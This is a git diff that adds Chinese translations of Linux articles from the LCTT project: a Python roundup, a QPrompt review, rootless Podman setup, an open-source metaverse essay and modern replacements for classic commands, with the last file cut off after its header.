[LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) +[2]: https://opensource.com/article/21/2/ansible-origin-story +[3]: https://opensource.com/article/21/3/ansible-sysadmin +[4]: https://opensource.com/article/21/9/keep-folders-tidy-ansible +[5]: https://opensource.com/article/21/1/improve-ansible-play +[6]: https://opensource.com/article/21/5/inclusive-language-ansible +[7]: https://opensource.com/article/21/9/ansible-rest-apis +[8]: https://opensource.com/article/21/9/ansible-anacron-automation +[9]: https://opensource.com/article/21/1/ansible +[10]: https://opensource.com/article/21/4/ansible-community-logos diff --git a/published/202201/20220111 8 surprising things I learned about Python in 2021.md b/published/202201/20220111 8 surprising things I learned about Python in 2021.md new file mode 100644 index 0000000000..89f8ba5500 --- /dev/null +++ b/published/202201/20220111 8 surprising things I learned about Python in 2021.md @@ -0,0 +1,49 @@ +[#]: subject: "8 surprising things I learned about Python in 2021" +[#]: via: "https://opensource.com/article/22/1/python-roundup" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14200-1.html" + +2021 总结:Python 的 8 个令人惊讶的东西 +====== + +> 这些文章的作者们揭示了使用这一流行的编程语言的新方法。 + +![](https://img.linux.net.cn/data/attachment/album/202201/21/100110n5iuyvzvmhg2jwt7.jpg) + +长期以来,Python 一直是最受欢迎的编程语言之一,但这并不意味着没有什么新东西可学。我们关于 Python 的阅读量最大的文章列表是一个很好的开始。 + + * 机器学习的广泛采用已经到来,其应用仍在增长。看看使用 [朴素贝叶斯][2] 分类器并通过 Python 实现的机器学习如何解决现实生活中的问题。 + * 向 Python 3 的过渡已经完成,但增强功能不断涌现。Seth Kenlon 强调了 [Python 3 中的五颗隐藏的宝石][3],它们在最近的改进中脱颖而出。 + * Openshot 多年来一直是 Linux 视频编辑的最佳选择之一。这篇受欢迎的文章将告诉你,你也可以用这个 Python 应用 [在 Linux 上编辑视频][4]。 + * Python 最好的部分是一个程序员可以实现的无限可能。[Cython][5] 是一个编译器,不仅可以帮助加快代码执行速度,还可以让用户为 Python 编写 C 语言扩展。 + * Python 可以使 API 单元测试更简单。Miguel Brito 向你展示了 [用 Python 测试 API 的三种方法][6]。 + * 随着计算能力的提高,越来越多的程序在并发运行。这可能会使调试、日志记录和剖析出错的地方成为挑战。[VizTracer][7] 正是为了解决这个问题而创建的。 + * 用户的个人项目,无论大小,都很好地提醒我们开源编码可以有无穷的乐趣。这里有一个鼓舞人心的项目:Darin London 如何使用 CircuitPython [监控他的温室][8]。 + * Linux 用户经常会遇到需要大量命令行参数的程序,这让人很不爽。这是一个 [不错的配置解析技巧][9],可以让生活更轻松。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/python-roundup + +作者:[Sumantro Mukherjee][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/python-programming-code-keyboard.png?itok=fxiSpmnd (Hands on a keyboard with a Python book ) +[2]: https://opensource.com/article/21/1/machine-learning-python +[3]: https://opensource.com/article/21/7/python-3 +[4]: https://opensource.com/article/21/2/linux-python-video +[5]: https://opensource.com/article/21/4/cython +[6]: https://opensource.com/article/21/9/unit-test-python +[7]: https://opensource.com/article/21/3/python-viztracer +[8]: https://opensource.com/article/21/5/monitor-greenhouse-open-source +[9]: https://opensource.com/article/21/6/parse-configuration-files-python diff --git a/published/202201/20220111 QPrompt is a Free and Open Source Teleprompter for Video Creators.md b/published/202201/20220111 QPrompt is a Free and Open Source Teleprompter for Video Creators.md new file mode 100644 index 0000000000..2914c8e821 --- /dev/null +++ b/published/202201/20220111 QPrompt is a Free and Open Source Teleprompter for Video Creators.md @@ -0,0 +1,87 @@ +[#]: subject: "QPrompt is a Free and Open Source Teleprompter for Video Creators" +[#]: via: "https://itsfoss.com/qprompt/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14187-1.html" + +QPrompt:一款为视频创作者提供的自由开源的提词器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/17/121957caladccafgdfjfa7.jpg) + +这些天来,各种各样的人都在创建视频内容。从专业的 YouTubers 到学校教师,创建视频内容已经成为各种工作内容的一部分。 + +从屏幕记录器到视频编辑器,有各种工具可以帮助创建良好的视频。提词器也是这样的工具之一。 + +提词器可以提供视觉提示,甚至是完整的文本,这样演讲者就可以在讲话时接受提示。你可能已经看到新闻读者使用提词器。 + +有专门的提词器软件,可以在电脑或移动设备上运行。 + +QPrompt 就是这样一款软件,它可以在 Linux、Windows 和其他平台上免费使用。 + +### QPrompt:个人提词器软件 + +![][1] + +[QPrompt][2] 是一个提词器软件,适用于所有类型的视频创作者。它的主要重点是易用性和快速性能。 + +QPrompt 可与 Web 摄像头和手机、演播室提词器和平板提词器一起使用。它的独特能力是使其背景透明,这使得它在视频会议上表现出色。 + +以下是 QPrompt 的亮点功能: + + * 可与演播室提词器、平板提词器、网络摄像头和电话一起使用 + * 流畅移动,无抖动 + * 可以在提示的同时进行即时修改 + * 从其他软件中粘贴,不费力气 + * 为你估算剩余时间 + * 使用标记来跳到脚本的任何地方 + * 向多个屏幕提示,有独立的镜像功能 + * 背景透明,让你在讲话时可以看到你自己或你的听众 + * 内置的计时器 + * 进度指示器 + * 丰富的文本格式 + * 支持超过 180 种语言的书写系统 + +QPrompt 中的 “Q” 提示该应用是使用 Qt 框架制作的。它的用户界面使用 [Kirigami 框架][3]。所有这些都使它成为 KDE 上的一个很好的选择,但在 GNOME 中也是如此。 + +### 安装 QPrompt + +![QPrompt running in Ubuntu][4] + +QPrompt 是一个自由开源软件,它可以用于 Linux、Windows 和 macOS。也有适用于安卓设备的 APK,但目前还不稳定。 + +Linux 用户可以选择 AppImage、Snap 和 Deb文件。在写这篇文章的时候,Flatpak 包正在开发中。 + +你可以从该项目网站的下载区获得 AppImage。 + +- [下载 AppImage 格式的 QPrompt][2] + +其他安装选项可在其 GitHub 仓库的发布页面上找到: + +- [其他下载选项][5] + +### 总结 + +我想对这个应用的功能进行评论,但由于我从未使用过提词器,我想我无法测试和“判断”其所有功能。如果你过去使用过这类软件,可以试试 QPrompt,看看它与其他同类软件的竞争情况。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/qprompt/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2022/01/QPrompt.jpg?resize=800%2C678&ssl=1 +[2]: https://qprompt.app/ +[3]: https://develop.kde.org/frameworks/kirigami/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/QPrompt-screenshot.png?resize=800%2C505&ssl=1 +[5]: https://github.com/Cuperino/QPrompt/releases diff --git a/published/202201/20220111 Run containers on Linux without sudo in Podman.md b/published/202201/20220111 Run containers on Linux without sudo in Podman.md new file mode 100644 index 0000000000..702134a369 --- /dev/null +++ b/published/202201/20220111 Run containers on Linux without sudo in Podman.md @@ -0,0 +1,88 @@ +[#]: subject: "Run containers on Linux without sudo in Podman" +[#]: via: "https://opensource.com/article/22/1/run-containers-without-sudo-podman" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14190-1.html" + +无需 sudo 使用 Podman 在 Linux 上运行容器 +====== + +> 配置你的系统使用无根容器。 + +![](https://img.linux.net.cn/data/attachment/album/202201/18/033424l111pvcc1iy0a1a1.jpg) + +容器是现代计算的一个重要组成部分,随着围绕容器的基础设施的发展,新的和更好的工具开始浮出水面。过去,你只需用 [LXC][2] 就可以运行容器,然而随着 Docker 得到了普及,它开始变得越来越复杂。最终,我们在 [Podman][3] 得到了我们所期望的容器管理系统:一个无守护进程的容器引擎,它使容器和吊舱易于构建、运行和管理。 + +容器直接与 Linux 内核能力(如控制组和命名空间)交互,它们在这些命名空间中产生大量的新进程。简而言之,运行一个容器实际上就是在 Linux 系统内部运行一个 Linux 系统。从操作系统的角度来看,它看起来非常像一种管理和特权活动。普通用户通常不能像容器那样自由支配系统资源,所以默认情况下,运行 Podman 需要 root 或 `sudo` 权限。然而,这只是默认设置,而且这绝不是唯一可用的设置。本文演示了如何配置你的 Linux 系统,使普通用户可以在不使用 `sudo` 的情况下(“无根rootless”)运行 Podman。 + +### 命名空间的用户 ID + +[内核命名空间][4] 本质上是一种虚构的结构,可帮助 Linux 跟踪哪些进程属于同一类。这是 Linux 中的“队列护栏”。一个队列中的进程与另一个队列中的进程之间实际上没有区别,但可以将它们用“警戒线”彼此隔离。要声明一组进程为“容器”,而另一组进程为你的操作系统,将它们分开是关键。 + +Linux 通过用户 ID(UID)和组 ID(GID)来跟踪哪个用户或组拥有的进程。通常情况下,一个用户可以访问一千个左右的从属 UID,以分配给命名空间的子进程。由于 Podman 运行的是分配给启动容器的用户的整个从属操作系统,因此你需要的不仅仅是默认分配的从属 UID 和从属 GID。 + +你可以用 `usermod` 命令授予一个用户更多的从属 UID 和从属 GID。例如,要授予用户 `tux` 更多的从属 UID 和从属 GID,选择一个还没分配用户的适当的高 UID(如 200000),然后将其增加几千: + +``` +$ sudo usermod \ + --add-subuids 200000-265536 \ + --add-subgids 200000-265536 \ + tux +``` + +### 命名空间访问 + +对命名空间数量也有限制。这通常被设置得很高。你可以用 `systctl`,即内核参数工具来验证用户的命名空间分配: + +``` +$ sysctl --all --pattern user_namespaces +user.max_user_namespaces = 28633 +``` + +这是很充足的命名空间,而且可能是你的发行版默认设置的。如果你的发行版没有这个属性或者设置得很低,那么你可以在文件 `/etc/sysctl.d/userns.conf` 中输入这样的文本来创建它: + +``` +user.max_user_namespaces=28633 +``` + +加载该设置: + +``` +$ sudo sysctl -p /etc/sysctl.d/userns.conf +``` + +### 在没有 root 权限的情况下运行一个容器 + +当你设置好你的配置,重启你的计算机,以确保你的用户和内核参数的变化被加载和激活。 + +重启后,试着运行一个容器镜像: + +``` +$ podman run -it busybox echo "hello" +hello +``` + +### 容器像命令一样 + +如果你是第一次接触容器,可能会觉得很神秘,但实际上,它们与你现有的 Linux 系统没有什么不同。它们实际上是在你的系统上运行的进程,没有仿真环境或虚拟机的成本和障碍。容器和你的操作系统之间的区别只是内核命名空间,所以它们实际上只是带有不同标签的本地进程。Podman 使这一点比以往更加明显,当你将 Podman 配置为无根命令,容器感觉更像命令而不是虚拟环境。Podman 使容器和吊舱变得简单,所以请试一试。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/run-containers-without-sudo-podman + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/command_line_prompt.png?itok=wbGiJ_yg (Command line prompt) +[2]: https://opensource.com/article/18/11/behind-scenes-linux-containers +[3]: http://podman.io +[4]: https://opensource.com/article/19/10/namespaces-and-containers-linux diff --git a/published/202201/20220112 How to build an open source metaverse.md b/published/202201/20220112 How to build an open source metaverse.md new file mode 100644 index 0000000000..42612e66d5 --- /dev/null +++ b/published/202201/20220112 How to build an open source metaverse.md @@ -0,0 +1,112 @@ +[#]: subject: "How to build an open source metaverse" +[#]: via: "https://opensource.com/article/22/1/open-source-metaverse" +[#]: author: "Josip Almasi https://opensource.com/users/jalmasi" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14218-1.html" + +如何建立一个开源的元宇宙 +====== + +> 开源世界是建立元宇宙的首选之地。 + +![](https://img.linux.net.cn/data/attachment/album/202201/27/123936o0fcmdfb0d88p0zy.jpg) + +如果我告诉你,构建元宇宙所需要的所有内容和软件都已经有了,而且完全免费,你会去构建吗? + +先别急,让我们退一步来解释一下元宇宙。 + +### 什么是元宇宙? + +20 世纪的赛博朋克作家,如 Gibson 和 Stephenson,都曾想象过由虚拟现实支持的互联网,在 Stephenson 的小说《雪崩Snow Crash》中,他将其称之为元宇宙Metaverse。随着虚拟现实virtual reality(VR)设备和应用程序的日益普及,尤其是在马克•扎克伯格宣布将雇佣 1 万人来打造它,并将 Facebook 的公司名称改为 Meta 之后,元宇宙正在成为一个热门词汇。Matthew Ball 对该话题进行了 [认真分析][2],并以“共同构建”作为结论:“事实上,最有可能的是,元宇宙是来自不同的平台、机构和技术的网络中,它们协同配合(无论多么不情愿),并拥抱互操作性。” + +互操作性,这个词本身含蓄而清楚地指出了开源和开放标准在其中的作用。 + +因此,简而言之,它就是支持 VR 的互联网。 + +### 如何建立一个开源的元宇宙? + +就像互联网上的网络服务器一样,你需要 VR 服务器。不过不用担心,我写了一个,而且 [介绍它的文章][3] 大约一年前就发表在这里了。当然,你需要支持 VR 的网络浏览器,但网络浏览器已经支持视频/音频流(WebRTC)以及 VR 和 AR(WebXR)。此外,你还需要大量 3D 内容,最好是开源标准的 glTF 格式。幸运的是,[Sketchfab][4] 拥有 50 万个以上的免费 3D 模型,由大量的作者在知识共享许可Creative Commons licenses下发布。Sketchfab 并不是唯一一家这样做的公司,但他们提供了 REST API 来搜索和下载这些模型。 + +### 别忘了键盘 + +在 VR 中已经待了一段时间了,我可以用亲身体验告诉你我最怀念的是什么:键盘!我在键盘上写代码,但当我戴上 VR 眼镜时,它就消失了。你可以想象,摘下和戴上 VR 设备是多么的混乱。不仅如此,我还需要在 VR 中看到我的代码。那么为什么要止步于此呢?为什么我在 VR 中看不到每一个应用程序呢?许多人都在使用两个或更多的显示器。在 VR 中,你可以随处布置窗口。这比多少个屏幕都要好。而一旦到了这一步,你就可以真正地谈论元宇宙了。 + +说实话,VR 设备仍处于起步阶段,它无疑还缺少许多功能。但是,VR 设备将得到改善,并最终包括键盘、更好的摄像头以及在现实中叠加虚拟的能力。在此期间,我们将继续戴上和摘下护目镜,以其他方式处理其他障碍。 + +### 那么我还等什么呢? + +你不需要等待。无论是爱好者还是公司,都正在努力。而且你现在就可以开始在网络上建立你的虚拟世界。下面的视频解释了如何使用现有的免费模型来制作虚拟世界。 + +![VIDEO](https://youtu.be/d0v8IPCt4Mc) + +在底层,VRSpace 网络客户端使用一个开源的 JavaScript WebGL 库 Babylon.js 来加载 glTF 内容并使用 WebGL 渲染。它调用 Sketchfab REST API 的搜索功能(服务器所有者必须在那里有一个账户)。点击了一个模型,它就会让 VRSpace 服务器获取它。服务器下载它(仅当它之前没有下载的情况下),并将其交付给客户端。空间中发生的一切都会被广播(实际上是通过 WebSockets 进行多播)给所有连接的用户,所以他们都会看到同样的移动和物体大小的调整。当然,他们可以通过文本信息或语音进行聊天。通过点击右下角的 VR 眼镜按钮,用户可以立即进入 VR。用户还可以共享屏幕,尽管不在此空间中。 + +![](https://youtu.be/xB6XTnEMQzo) + +而这一切都只使用现有的标准网络技术和免费的软件和内容。它不仅适用于 PC 和 VR 设备,也适用于移动设备。然而,移动版 Chrome 浏览器并没有启用 VR 功能。它在第一次尝试进入 VR 时会提示下载谷歌 VR。 + +由于它是开放的,这在目前来说是可互操作的。但对于元宇宙(支持 VR 的互联网)所需的大规模来说,它的互操作性还远远不够。以头像为例。我在 LinkedIn、Facebook 以及 Opensource.com 上使用相同的图片作为我的头像。我怎么能把我的 3D 头像上传到 VRSpace 或其他地方呢? + +好吧,我不能。上传本身并不是一个问题。当然,文件格式(glTF)也不是问题。问题出现在头像结构上,因为它没有标准化。所以,比如说,不同的人物有不同的骨头数量。然后,本应是微不足道的必备功能,如用虚拟手拿东西,却变得极其复杂。我已经分析了 100 多个免费的角色,并将我的发现作为研究论文发表:《[迈向人形 3D 角色的自动骨架识别][5]》,希望它能帮助其他作者实现互操作性。 + +而这只是一个开始,是我们进入一个共享的虚拟世界需要做的第一件事。 + +![VRSpace 的免费头像][6] + +### 知识产权 + +知识产权呢?你可能会说,这都是开源的!嗯,确实如此。作者们是如此善良,让别人使用他们的创作。用户至少可以做的是给他们点赞。知识共享许可的实际条款要求用户明确归功于作者。为此,我特别注意在搜索结果中显示作者的名字,而且作者信息被嵌入每个 glTF 文件的元数据部分。但是,即使是需要额外的工作的免费东西,我无法想象它变成专有内容会多么可怕。 + +### NFT和区块链 + +转念一想,我可以想象到。它需要 NFT、区块链,以及其他什么东西。快速搜索“元宇宙 区块链”为我提供了 _极好的购买机会_,并建议了 _最好的购买方案_。好吧,我不买。记住我的话。试图出售加密货币的人是不会建立元宇宙的。 + +这并不是说区块链在这里没有用,因为即使是免费的内容,你也必须对作者进行追踪。面对成千上万的免费模型,这必须以某种方式自动化,而分布式账本可能正是正确的解决方案。 + +话说回来,像 Sketchfab 这样的数字内容提供商并不只提供免费模型,他们还出售内容。毕竟,这就是他们谋生的方式。从技术上讲,在你的虚拟世界中使用这些专有内容,你需要做的就是把代码中的一个 `true` 改为 `false`,字面上的。但是,一旦你下载了它,没有人可以阻止你分享它。然而,在法律上,许可证禁止你这样做。NFT 可以证明所有权,可以购买,可以出售,但不能执行版权。内容提供商最终会明白这一点,但我担心的不是他们。这对普通用户有实际影响,与我反复被问到的一个具体问题有关。我可以自己制作或购买我自己的头像,而且只能是我的,不能被其他人使用吗?但技术不能阻止任何人复制它。就像我可以从 LinkedIn 复制你的头像图片,并将其作为我在 Facebook 上的图片。但你想想,为什么会有人想这么做? + +有趣的是,我已经有一个 VRSpace 的商业实现。一个由自由软件驱动的 3D 多用户视频和音频流媒体网站,提供专有内容。在上锁的门后,付费进入 —— 就这么简单。而且它不妨碍建立元宇宙。然而,每个人都有自己独特的头像,永远不能被其他人使用。视频头像: + +![作者在 VRSpace 的视频头像][8] + +你想成为你自己,而不是其他人。只要点击视频按钮,就这么简单。当然,浏览器会提示你是否允许流式传输你的视频和音频。这个功能在日常生活中被广泛使用,以至于我们并没有把它和元宇宙联系起来,赛博朋克的作者们也没有设想到这一点。随着时间的推移,这种 _我就是我_ 的方法将发展为运动跟踪和视频流映射到我们的 3D 头像上,但它仍将在昂贵的电影和视频游戏领域停留一段时间。 + +现在,你已经瞥见了 VRSpace 服务器的所有功能,除了 Oauth2 认证。反正你知道它是如何工作的。一个网站将你重定向到你选择的另一个网站,你在那里登录,然后被认证回来。这就是上述所有的简化图。 + +![VR 组件图][9] + +### 现场演示 + +在 [VRSpace.org][10] 上有一个现场演示,一直在运行最新的代码,欢迎你在任何时候尝试。它是完全匿名访问的,没有任何形式的广告和跟踪器。试着在 VRCraft 世界中建立你的世界,但要知道,一旦你断开连接,你所做的一切都会消失 —— 这是运行一个向公众开放的匿名服务的代价。主页提供了所有的相关信息,只要访问该链接即可,或者在 [GitHub][11]、[YouTube][12] 或[Facebook][13] 上加入该项目。 + +非常感谢早期采用者的帮助,使项目达到这个阶段 —— 所有作者的免费模型、Sketchfab 提供的访问,以及 Babylon.js 社区,使这一切都能跨平台运作。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/open-source-metaverse + +作者:[Josip Almasi][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jalmasi +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/innovation_virtual_gadgets_device_drone.png?itok=JTAgRb-1 (new techie gadgets representing innovation) +[2]: https://www.matthewball.vc/all/themetaverse +[3]: https://opensource.com/article/20/12/virtual-reality-server +[4]: https://sketchfab.com/ +[5]: https://www.researchgate.net/publication/356987355_TOWARDS_AUTOMATIC_SKELETON_RECOGNITION_OF_HUMANOID_3D_CHARACTER +[6]: https://opensource.com/sites/default/files/uploads/free-avatars-at-vrspace.png (Free avatars at VRSpace) +[7]: https://creativecommons.org/licenses/by-sa/4.0/ +[8]: https://opensource.com/sites/default/files/uploads/author-in-vrspace.png (Author's video avatar in VRSpace) +[9]: https://opensource.com/sites/default/files/uploads/vr-components-diagram.png (VR components diagram) +[10]: https://www.vrspace.org/ +[11]: https://github.com/jalmasi/vrspace +[12]: https://www.youtube.com/channel/UCLdSg22i9MZ3u7ityj_PBxw +[13]: https://www.facebook.com/vrspace.org diff --git a/published/202201/20220112 Modern Alternatives to Some of the Classic Linux Commands.md b/published/202201/20220112 Modern Alternatives to Some of the Classic Linux Commands.md new file mode 100644 index 0000000000..a3d0ed61d6 --- /dev/null +++ b/published/202201/20220112 Modern Alternatives to Some of the Classic Linux Commands.md @@ -0,0 +1,147 @@ +[#]: subject: "Modern Alternatives to Some of the Classic Linux Commands" +[#]: via: "https://itsfoss.com/legacy-linux-commands-alternatives/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14172-1.html" + +一些经典 Linux 命令的现代替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/12/155211u6dwvwv66hwvzo8g.jpg) + +当你 [开始学习 Linux][1] 时,最初学习的是一套标准的 Linux 命令,这些命令从 UNIX 时代就已经存在了。随着你作为一个 Linux 用户的年龄增长,你会不断地掌握这套标准命令。 + +但是,这些标准的、传统的命令是几十年前创建的,虽然它们完成了预定的工作,但是它们的功能还可以改进,结构还可以简化。 + +这就是为什么存在 “替代” 工具,以加强传统的 UNIX/Linux 命令。在这篇文章中,我将列出一些新的命令行工具,你可以用这些工具来代替旧式的经典 Linux 命令。 + +请注意,你不应该过分依赖这些替代品,特别是如果你管理(或计划管理)许多 Linux 服务器时。传统的 Linux 命令在所有的 Linux 发行版和 Linux 服务器上都可以找到。这些现代的替代方案很有可能在远程服务器上无法使用。 + +在你的个人能力范围内,你可以学习了解这些新的工具,以帮助你更有效率。 + +听起来不错?让我们看看你是否能在这里找到你下一个最喜欢的命令行工具。 + +### HTTPie: wget 和 curl 的替代品 + +[在终端下载文件][2] 时,`wget` 和 `curl` 是两个最常用的工具。有趣的是,并不是所有的发行版都默认安装了 `curl` 和 `wget`。 + +HTTPie(`http`)以一种更人性化的方式做同样的工作。你会看到彩色的、格式化的输出,这使得它更容易理解和调试。 + +![][3] + +### 蝙蝠:猫的替代品 + +`cat` 命令可能是你最先学会的命令之一。它可以完成查看小型文本文件内容的工作。 + +但 [bat 命令][4] 更上一层楼,添加了语法高亮和 Git 集成等功能,并且还提供了分页选项。 + +![][5] + +### ncdu: du 命令的替代品 + +Linux 中的 [du 命令][6] 用来检查一个目录的大小。这不是一个非常直观的命令,当然它的默认输出也不算非常好。 + +与此相比,`ncdu` 要好得多,它能及时提供相关信息。 + +![][7] + +它还有其他一些功能,比如用图表显示磁盘使用情况,对显示进行排序,甚至可以交互式地删除目录。 + +它是基于 ncurses 的,因此 “nc” 这个前缀被加到 `du` 中。此外,还有一个类似的 CLI 工具:[gdu][8],也是一个 `du` 的替代品,因为是使用 Go 编写的,这使得它的性能得到了提升。 + +### htop: top 命令的替代品 + +`top` 命令是 Linux 终端中的任务管理器。它是一个查看运行进程和资源消耗的好工具,但是 [理解和使用 top 命令][9] 可能很复杂。 + +另一方面,[htop][10] 有一个漂亮的彩色输出,并且界面比 `top` 命令更直观。你可以垂直和水平滚动,以图形方式配置显示的信息。你可以在 `htop` 的输出屏幕上交互式地杀死进程。 + +![][11] + +### fd:find 命令的替代品 + +`find` 命令是最强大和最常用的 Linux 命令之一。不能想象一个系统管理员可以不使用 `find` 命令就能生存下去。 + +但是,`find` 命令的结构奇怪,如果你进行大量的查找操作,它可能会很慢。 + +一个更好、更快的替代方案是 [fd 命令][12]。`fd` 是用 Rust 编写的,它比其传统的竞争对手更简单、更快速。 + +![][13] + +### exa:ls 命令的替代品 + +[exa][14] 命令行工具不止可以列出目录内容。它的默认设置更好,使用颜色来区分文件类型和元数据。`exa` 还可以显示一个文件的扩展属性,以及标准的文件系统信息,如 inode、块数,以及文件的各种日期和时间。 + +你可以使用树状视图来查看目录结构。它也有内置的 Git 支持,可以看到哪些文件被修改、提交和暂存等。 + +![][15] + +### duf:df 命令的替代品 + +Linux 中的 [df 命令][16] 用来检查磁盘空间。虽然它在大多数情况下都不错,但一个更简单、更好的替代方法是 [duf][17],这是一个用 Go 编写的工具。 + +它提供了一个所有挂载设备的概览,这很容易理解。你还可以指定一个目录/文件名并检查该挂载点的可用空间。 + +通过 `duf`,你可以对输出进行排序、列出 indoe 信息,甚至将输出保存为 JSON 格式。 + +![][18] + +### 太长不读:男人的替代品 + +我知道对于纯粹主义者来说,[Linux 中的手册页][19] 是不二之选。但是,手册页有时会过于详细和复杂,难以阅读和理解。 + +这就是 `tldr` 登场的时机。“TLDR” 是流行的互联网行话,意思是“太长不读to long didn't read”。这就是他们创建 `tldr` 的想法。如果你觉得手册页太长而不想阅读,[tldr 通过提供命令的实际例子而将其简化了][20]。 + +![][21] + +### Neovim:Vim 的替代品 + +我希望我在这里没有冒犯谁,但更好的 Vim 不是 Emacs,而是 [Neovim][22]。 + +几年前,作为对传统的 Vi 编辑器的改进,Vim 出现了。又是几年过去了,Neovim 提出了将 Vim 扩展为一个 IDE 的想法。 + +它增加了现代终端的功能,如光标样式、焦点事件、括号内粘贴等,并内置了一个终端模拟器。最重要的是,你不需要忘却 Vim 的习惯就可以开始使用 Neovim。 + +### 你的选择呢? + +再次强调,这些替代命令还不能完全替代原来的命令,特别是如果你管理许多 Linux 系统的话。你可能无法在所有的系统上找到并安装它们。只有你可以完全控制你的 Linux 机器时,它们才是好东西。 + +除此以外,你是否在这个列表中找到了一些好的替代命令行工具?是哪一个呢?另外,你知道其他一些可以 “替代” 传统 UNIX 命令的工具吗?为什么不在评论区与我们分享呢? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/legacy-linux-commands-alternatives/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://academy.itsfoss.com/ +[2]: https://itsfoss.com/download-files-from-linux-terminal/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/httpie-screenshot.jpg?resize=800%2C399&ssl=1 +[4]: https://github.com/sharkdp/bat +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/bat-command-example.png?resize=656%2C450&ssl=1 +[6]: https://linuxhandbook.com/find-directory-size-du-command/ +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2022/01/ncdu-command-example-800x448.png?resize=800%2C448&ssl=1 +[8]: https://itsfoss.com/gdu/ +[9]: https://linuxhandbook.com/top-command/ +[10]: https://htop.dev/ +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2022/01/htop-example-800x453.webp?resize=800%2C453&ssl=1 +[12]: https://github.com/sharkdp/fd +[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/fd-command.webp?resize=800%2C514&ssl=1 +[14]: https://itsfoss.com/exa/ +[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/04_exa_all_flags.webp?resize=800%2C600&ssl=1 +[16]: https://linuxhandbook.com/df-command/ +[17]: https://itsfoss.com/duf-disk-usage/ +[18]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/02/duf-screenshot.jpg?resize=800%2C481&ssl=1 +[19]: https://itsfoss.com/linux-man-page-guide/ +[20]: https://itsfoss.com/tldr-linux-man-pages-simplified/ +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/tldr-example-800x594.png?resize=800%2C594&ssl=1 +[22]: https://neovim.io/ diff --git a/published/202201/20220113 Here are the New Features Coming to Ubuntu 22.04 LTS.md b/published/202201/20220113 Here are the New Features Coming to Ubuntu 22.04 LTS.md new file mode 100644 index 0000000000..40e94f5792 --- /dev/null +++ b/published/202201/20220113 Here are the New Features Coming to Ubuntu 22.04 LTS.md @@ -0,0 +1,135 @@ +[#]: subject: "Here are the New Features Coming to Ubuntu 22.04 LTS" +[#]: via: "https://itsfoss.com/ubuntu-22-04-release-features/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14177-1.html" + +即将出现在 Ubuntu 22.04 LTS 中的新功能 